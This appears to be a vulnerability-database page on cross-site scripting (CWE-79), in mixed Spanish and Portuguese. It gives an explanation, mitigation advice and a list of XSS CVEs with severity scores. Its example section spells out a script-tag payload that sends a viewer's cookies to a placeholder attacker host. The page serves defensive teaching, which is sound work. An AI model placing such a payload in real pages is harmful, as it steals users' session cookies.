Fallos del tipo CWE-79

29.112 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-0602MEDIUMYet Another Related Posts Plugin (YARPP) <= 5.30.9 - Authenticated(Administrator+) Stored Cross-Site Scripting via settingsEPSS 0.5%CVE-2024-53963MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2022-37338MEDIUMWordPress Blossom Recipe Maker plugin <= 1.0.7 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.5%CVE-2024-41239MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in "/smsa/add_class_submit.php" in Responsive School Management System v3.2.0, wEPSS 0.5%CVE-2022-4821LOWFlatPress XML File Handler/MD File admin.uploader.php onupload cross site scriptingEPSS 0.5%CVE-2026-30977LOWRenderBlocking has Stored XSS in renderblocking-css with Inline Assets modeEPSS 0.5%CVE-2025-4611MEDIUMSlim SEO <= 4.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via slim_seo_breadcrumbs ShortcodeEPSS 0.5%CVE-2024-53965MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2024-1894MEDIUMBurst Statistics – Privacy-Friendly Analytics for WordPress <= 1.5.6.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via burst_total_pageviews_countEPSS 0.5%CVE-2010-10004LOWInformation Cards Module cross site scriptingEPSS 0.5%CVE-2022-4822LOWFlatPress Setup main.lib.php cross site scriptingEPSS 0.5%CVE-2023-28604MEDIUMThe fluid_components (aka Fluid Components) extension before 3.5.0 for TYPO3 allows XSS via a component argument parameter, for certain {conEPSS 0.5%CVE-2024-4644LOWSourceCodester Prison Management System changepassword.php cross site scriptingEPSS 0.5%CVE-2021-4303LOWshannah Xataface Installer install_form.js.php testftp cross site scriptingEPSS 0.5%CVE-2026-23794MEDIUMApache Syncope: Reflected XSS on Enduser LoginEPSS 0.5%CVE-2022-35294—An attacker with basic business user privileges could craft and upload a malicious file to SAP NetWeaver Application Server ABAP, which is tEPSS 0.5%CVE-2023-7057LOWcode-projects Faculty Management System yearlevel.php cross site scriptingEPSS 0.5%CVE-2024-1296MEDIUMBrizy – Page Builder <= 2.4.40 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2014-125031LOWkirill2485 TekNet loggedin.php cross site scriptingEPSS 0.5%CVE-2022-40373MEDIUMCross Site Scripting (XSS) vulnerability in FeehiCMS 2.1.1 allows remote attackers to run arbitrary code via upload of crafted XML file.EPSS 0.5%